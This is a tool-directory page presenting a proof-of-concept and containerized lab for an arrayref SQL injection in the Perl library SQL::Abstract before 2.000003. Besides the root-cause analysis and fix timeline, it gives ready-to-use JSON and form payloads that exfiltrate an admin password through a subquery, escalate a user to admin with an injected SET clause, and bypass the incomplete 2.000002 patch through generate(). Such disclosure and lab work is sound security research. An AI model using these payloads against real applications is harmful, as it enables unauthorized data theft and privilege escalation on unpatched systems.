Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-121265 — PoC and containerized lab for CVE-2026-121265, an arrayref SQL injection in SQL::Abstract before 2.000003, with INSERT/UPDATE exfiltration, privilege escalation and generate() vectors. | Kitploit
Tools/GitHubGitHub/googlesky/cve-2026-121265
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityDatabase SecurityLabs & Practice
GitHubgooglesky/cve-2026-121265

CVE-2026-121265

PoC and containerized lab for CVE-2026-121265, an arrayref SQL injection in SQL::Abstract before 2.000003, with INSERT/UPDATE exfiltration, privilege escalation and generate() vectors.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-121265: SQL::Abstract arrayref SQL injection

Root cause: with the array_datatypes option off (the default before 2.000002), SQL::Abstract treats an arrayref column value as literal SQL in insert(), update() and values(): element [0] goes into the SQL text unescaped and the rest become bind values. An attacker who controls any column value -- e.g. a JSON array in a request body, or a repeated/multi-value form field decoded as an arrayref -- gets unauthenticated SQL injection in any application that passes request data to insert/update. The same flaw survived the first patch round in generate() (and therefore in AUTOLOAD when allow_autoload is on), which is why the advisory covers every release before 2.000003.

CVECVE-2026-121265
AdvisoryCPAN Security Group, oss-sec 2026-11-07
CWECWE-89 (SQL Injection)
AffectedSQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05)
Fixed2.000003 (generate() patched; 2.000002 fixed insert/update/values + flipped the array_datatypes default but missed generate())
ImpactFull SQL injection: data exfiltration, privilege escalation, schema tampering
Referenceshttps://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract

1. Root cause

SQL-Abstract-2.000001, _expand_insert_value():

if (ref($v) eq 'ARRAY') {
    if ($self->{array_datatypes}) {
        return +{ -bind => [ $k, $v ] };
    }
    my ($sql, @bind) = @$v;
    $self->_assert_bindval_matches_bindtype(@bind);
    return +{ -literal => $v };   # <-- element [0] inlined into the SQL text, unescaped
}

The identical pattern existed in _expand_update_set_values() and in generate() (both the hashref branch "$label = $sql" and the arrayref branch):

$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+:           UPDATE t SET name = ?          (bind: ['x, is_admin = 1'])

$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002:            UPDATE T SET name = (SELECT password FROM users)   <-- still vulnerable
# 2.000003:            UPDATE T SET name = ?                               (bind)

Fix timeline (from the 2.000002 / 2.000003 Changes):

  • 2.000001_05 (2026-11-03): incomplete fix.
  • 2.000002 (2026-11-05): array_datatypes on by default; insert() / update() / values() patched. generate() left untreated.
  • 2.000003 (2026-11-06): generate() (and AUTOLOAD) patched; \[ $sql, @bind ] becomes the documented literal-SQL form.

An attacker reaches the arrayref value through any decoder that produces one:

  • JSON body: {"email": ["(SELECT ...)"]} → arrayref.
  • Form data: repeated fields / every_param() / list-context param() (CGI.pm, Catalyst, Mojolicious, ...).

2. Lab

Containerized (podman) A/B lab. One image per SQL::Abstract version, plus an ARRAY_DATATYPES=0 build of 2.000003 to exercise the bypass.

cve-target (bounded)                       cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver>                  same image as runtime + ./poc:/poc
- debian:bookworm-slim                     perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl  JSON API "Corp Portal"

Endpoints:

EndpointSinkUsed by
POST /api/registerinsert() from JSON bodyPoC 1
POST /api/register-forminsert() from form (every_param arrayref)PoC 4
POST /api/me/updateupdate() from JSON bodyPoC 2
POST /api/save-formgenerate() to build a SET clausePoC 3
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secretsparameterizedexfil / impact
cd lab
./run_matrix.sh     # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all    # run PoC 1..4 against the running target

3. PoCs

PoC 1 -- INSERT injection, exfiltrate admin password (poc/poc1_insert_exfil.pl)

POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}

Generated SQL (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- the subquery result is stored as the attacker's email and returned in the profile: FLAG{adm1n_p4ssw0rd_51337}.

PoC 2 -- UPDATE injection, privilege escalation (poc/poc2_update_escalate.pl)

POST /api/me/update            (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}

Generated SQL: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ? The -- comments out the rest of the statement (DBD::SQLite silently ignores the now-unused bind values). The regular user becomes admin and reads GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.

PoC 3 -- generate() / AUTOLOAD injection (poc/poc3_generate_autoload.pl)

POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}

The endpoint builds a SET clause with generate() and splices it into an UPDATE. Works on 2.000001 and still on 2.000002, where insert()/update() were already patched -- direct proof that 2.000002 remains exploitable via the last path fixed in 2.000003.

PoC 4 -- form-urlencoded vector (poc/poc4_form_array.pl)

POST /api/register-form   (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')

every_param('tags') returns an arrayref -> the same primitive as the JSON array, no JSON involved.

4. Results matrix

Full transcripts in evidence/. Exit code 0 = exploitation succeeded.

PoC2.0000012.0000022.0000032.000003 + array_datatypes=0
PoC 1 INSERT exfil✅❌❌✅ bypass
PoC 2 UPDATE escalation✅❌❌✅ bypass
PoC 3 generate()✅✅❌✅ bypass
PoC 4 form✅❌❌✅ bypass

5. Additional findings

Download Tool